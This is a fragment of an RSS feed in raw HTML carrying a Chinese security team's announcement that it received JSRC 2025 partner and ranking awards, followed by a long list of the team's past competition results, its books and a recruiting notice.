&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d4573e7d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514105%26idx%3D1%26sn%3D63f1c2bc57446b7d314f20e54f6523dc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 28 Jan 2026 08:04:00 +0800</pubDate>
    </item>
    <item>
      <title>喜报 | ChaMd5团队荣获JSRC2025年度“优秀合作伙伴”和成员Str1am_年度No.5</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514049&amp;idx=1&amp;sn=84f9b24b3ff483a1d4b19d653ebdd690</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>ChaMd5</span> <span>2026-01-24 22:35</span> <span style="display: inline-block;">新疆</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cf0da385&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBQuCJ5wPPPNZWq8v91ibSibHhsapRQicaxf3vy9EMz8CTMCLk4gdkemRiaNlDS1h1u5WbfXRxu32icRoqA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 14px;font-weight: bold;">2025京麒白帽大会暨JSRC年终盛典在</span></span></strong></p><p style="text-align: center;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><strong data-pm-slice="0 0 []" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 14px;font-weight: normal;">辽阔的新疆伊犁</span></span></strong><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></strong><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 14px;font-weight: normal;">隆重开启</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.39541984732824426" data-s="300,640" data-type="png" data-w="1310" type="block" data-imgfileid="100030394" src="https://wechat2rss.xlab.app/img-proxy/?k=38fa5422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQuCJ5wPPPNZWq8v91ibSibHhFHDRyEoHRe34F5lML6Ck3laIUm9CSDT8gwPxhLxpPd7wQjmiaOxZmiaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.5537383177570094" data-s="300,640" data-type="png" data-w="856" style="width:341px;height:530px;" type="block" data-imgfileid="100030397" src="https://wechat2rss.xlab.app/img-proxy/?k=9999ff5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQuCJ5wPPPNZWq8v91ibSibHhHoL13t5jPvcvstHURGDxOicqU0SFic9iaTK2tcJIO5kGXpVrYfyanoKYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(0, 82, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="">Str1am_</span></span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="">获JSRC2025年度白帽排行榜</span></span><span style="text-align: center;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;float: none;display: inline !important;"><span leaf="" style="caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;float: none;display: inline !important;"><span textstyle="" style="color: rgb(255, 0, 0);">第五名（健康隐私妙手）</span></span></span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030398" data-ratio="1.6628701594533029" data-s="300,640" type="block" data-type="png" data-w="878" style="width:346px;height:575px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0cbe2602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQuCJ5wPPPNZWq8v91ibSibHhConq5Gsg1wqxmfDeqxvJC0SIU4ygeLEEHhTicIZSJcunZvb9290U1EA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(0, 128, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="">ChaMd5安全团队</span></span></strong><span style="caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;float: none;display: inline !important;"><span leaf="">荣获JSRC2025年度“</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="">优秀合作伙伴</span></span><span style="caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;float: none;display: inline !important;"><span leaf="">”称号</span></span></p><pre data-tool="mdnice编辑器" style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: left;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin: 10px 0px;padding: 0px;" data-pm-slice="0 0 []"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">安全厂商漏洞提交</span><span leaf=""><br/></span><span leaf="">2025年京东SRC“优秀合作伙伴”称号和个人第五名(Str1am_)健康隐私妙手</span><span leaf=""><br/></span><span leaf="">2024年荣获阿里云安全守护卫士</span><span leaf=""><br/></span><span leaf="">2024年京东SRC“优秀合作伙伴”称号和个人第四名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2024年盘锦市演练优秀攻击队</span><span leaf=""><br/></span><span leaf="">2024年荣获某市局经侦支队感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获某市委网信办感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获国家计算机网络与信息安全管理中心辽宁分中心感谢信</span><span leaf=""><br/></span><span leaf="">2023年京东SRC个人第三名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2023年补天总榜个人排名第十(r00t4dm)</span><span leaf=""><br/></span><span leaf="">2023年多点SRC年度第三(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年TCL年度第四(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年同程SRC个人年度第二(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年滴滴SRC个人年度第五(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第一季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第三季度 第二名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第四季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年大连网信办“连盾”第二名</span><span leaf=""><br/></span><span leaf="">2022年PSRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2022年BSRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2022年货拉拉获得”黄金轻卡“称号</span><span leaf=""><br/></span><span leaf="">2021年DSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2021年BSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2017-2020年DSRC(滴滴)年度安全团队第一名</span><span leaf=""><br/></span><span leaf="">2020年JSRC(京东)团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年BSRC(百度)第三名</span><span leaf=""><br/></span><span leaf="">2020年网易SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年58SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年字节跳动SRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2020年360SRC年度团队第二名</span><span leaf=""><br/></span><span leaf="">2020年TSRC(腾讯)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年JSRC(京东)团队年度第三名</span><span leaf=""><br/></span><span leaf="">2019年华为云2019年度团队二等奖、华为终端2019年度最具潜力奖</span><span leaf=""><br/></span><span leaf="">2019年MTSRC(美团)年度团队第二名</span><span leaf=""><br/></span><span leaf="">2019年ASRC(阿里)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年合肥市网络安全攻防演练大赛攻防演练赛 线下第八名</span><span leaf=""><br/></span><span leaf="">2019年BSRC(百度) 年度第三名和校园年度第二名</span><span leaf=""><br/></span><span leaf="">2018年BSRC(百度) 年度第二名</span><span leaf=""><br/></span><span leaf="">2017年BSRC(百度)优秀团队</span><span leaf=""><br/></span><span leaf="">CTF比赛</span><span leaf=""><br/></span><span leaf="">2025年第五届鹏城杯线上第九名</span><span leaf=""><br/></span><span leaf="">2025年DASCTF下半年赛 第四名</span><span leaf=""><br/></span><span leaf="">2025年CCF智能汽车大赛 三等奖</span><span leaf=""><br/></span><span leaf="">2025年DASCTF上半年赛 第八名</span><span leaf=""><br/></span><span leaf="">2025第一届OpenHarmonyCTF专题赛 第五名</span><span leaf=""><br/></span><span leaf="">2025年第八届封神台 第一名</span><span leaf=""><br/></span><span leaf="">2024年国城杯 线下第六名</span><span leaf=""><br/></span><span leaf="">2024DASCTF 暑假挑战赛 第一名</span><span leaf=""><br/></span><span leaf="">2024年矩阵杯 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年举办第一届 VCTF 纳新赛</span><span leaf=""><br/></span><span leaf="">2023年中华武数杯 三等奖</span><span leaf=""><br/></span><span leaf="">2023年NCTF 第八名</span><span leaf=""><br/></span><span leaf="">2022年第五届强网拟态 第九名</span><span leaf=""><br/></span><span leaf="">2022年安洵杯 第七名</span><span leaf=""><br/></span><span leaf="">2021年第四届强网拟态 第一名</span><span leaf=""><br/></span><span leaf="">2021年长安杯总决赛一等奖</span><span leaf=""><br/></span><span leaf="">2021年巅峰极客 第一名</span><span leaf=""><br/></span><span leaf="">2020年“祥云杯”线上第三名</span><span leaf=""><br/></span><span leaf="">2020年GeekPwn云靶场挑战赛第八名</span><span leaf=""><br/></span><span leaf="">2020年线上网鼎杯“青龙组“第五名</span><span leaf=""><br/></span><span leaf="">2019年“湖湘杯”网络安全技能大赛线下第四名</span><span leaf=""><br/></span><span leaf="">2019年XPpwnCTF第五名</span><span leaf=""><br/></span><span leaf="">2019年SUCTF 线上第三名</span><span leaf=""><br/></span><span leaf="">2019年第三届“红帽杯”网络安全攻防大赛 线上社会网安第五名</span><span leaf=""><br/></span><span leaf="">工控比赛</span><span leaf=""><br/></span><span leaf="">2022年之江杯第五名&amp;内生安全贡献荣誉奖</span><span leaf=""><br/></span><span leaf="">2020年之江杯第一名</span><span leaf=""><br/></span><span leaf="">2018年赛博地球杯工业互联网安全大赛线下总排名 第二名</span><span leaf=""><br/></span><span leaf="">IoT比赛</span><span leaf=""><br/></span><span leaf="">2024年第七届“强网”拟态防御国际精英挑战赛—低空经济赛道三等奖（第五名）</span><span leaf=""><br/></span><span leaf="">2023年DataCon漏洞分析赛道第三名</span><span leaf=""><br/></span><span leaf="">2022年DataCon物联网安全第四名</span><span leaf=""><br/></span><span leaf="">2020年西湖论剑IOT挑战赛第一名</span><span leaf=""><br/></span><span leaf="">2019年360SRC48小时IoT破解大赛第四名</span><span leaf=""><br/></span><span leaf="">AI比赛</span><span leaf=""><br/></span><span leaf="">2025年LLM指令遵循攻防赛第一名</span><span leaf=""><br/></span><span leaf="">2025年DataCon AI三等奖</span><span leaf=""><br/></span><span leaf="">2024年DataCon AI第四名</span><span leaf=""><br/></span><span leaf="">2024年ByteAI安全挑战赛决赛第十名</span><span leaf=""><br/></span><span leaf="">2022年2022 CCF BDCI 竞技赛单赛题决赛 基于TPU平台实现人群密度估计 二等奖</span><span leaf=""><br/></span><span leaf="">2022年字节安全AI挑战赛 第四名</span><span leaf=""><br/></span><span leaf="">2021年iFLYTEK.AI 第十名</span><span leaf=""><br/></span><span leaf="">2020年BCTF AI PWN第六名</span><span leaf=""><br/></span><span leaf="">2019年强网杯AI 第十名</span><span leaf=""><br/></span><span leaf="">2019年BCTF RHG 人工智能第八名</span><span leaf=""><br/></span><span leaf="">车联网</span><span leaf=""><br/></span><span leaf="">2025年首届CCF智能汽车大赛线上第一名、线下三等奖</span><span leaf=""><br/></span><span leaf="">2024Block Harbor VicOne Automotive CTF 线上 第六名</span><span leaf=""><br/></span><span leaf="">2024年Super CS车联网安全攻防挑战赛线下 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年VSEC挑战赛二 第六名</span><span leaf=""><br/></span><span leaf="">2023年CIICV车联网（智能网联汽车）漏洞挖掘挑战赛 优胜奖</span><span leaf=""><br/></span><span leaf="">2023年WIDC世界智能驾驶挑战赛 线上第二名</span><span leaf=""><br/></span><span leaf="">2022 第二届创安杯智能汽车信息安全公开赛 线上第九名</span><span leaf=""><br/></span><span leaf="">2022 CICV 智能网联汽车漏洞挖掘赛 线下一等奖</span><span leaf=""><br/></span><span leaf="">2022 CICV智能网联汽车漏洞挖掘赛 线上三等奖</span><span leaf=""><br/></span><span leaf="">2021年第二届中国智能网联汽车大赛“天融信杯“ 铜奖</span><span leaf=""><br/></span><span leaf="">2021年世界智能驾驶挑战赛 铜奖</span><span leaf=""><br/></span><span leaf="">区块链</span><span leaf=""><br/></span><span leaf="">2024年磐石安全实验室-FishCake项目审计竞赛第一</span><span leaf=""><br/></span><span leaf="">2023年MetaTrustCTF 参与命题</span><span leaf=""><br/></span><span leaf="">2023年NumenCTF 第十四名</span><span leaf=""><br/></span><span leaf="">团队书</span><span leaf=""><br/></span><span leaf="">《ARM 汇编与逆向工程：蓝狐篇 基础知识》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">《x86 汇编与逆向工程：软件破解与防护的艺术》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">团队书籍列表</span><span leaf=""><br/></span><span leaf="">《CTF实战：技术、解题与进阶》</span><span leaf=""><br/></span><span leaf="">《物联网漏洞挖掘与利用》</span><span leaf=""><br/></span><span leaf="">《ARM汇编与逆向工程》</span><span leaf=""><br/></span><span leaf="">《x86软件逆向工程》</span><span leaf=""><br/></span><span leaf="">《汽车网络安全工程》</span><span leaf=""><br/></span><span leaf="">《红队实战指南 AI驱动的渗透测试》</span></code></pre><div data-role="outer" label="Powered by 135editor.com" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);" data-pm-slice="0 0 []"><div data-role="paragraph" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100% auto;background-position: 0px center;background-repeat: no-repeat;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="">结束</span></span></p></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="">招新小广告</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="">新成立组IOT+工控+样本分析 </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="">长期招新</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 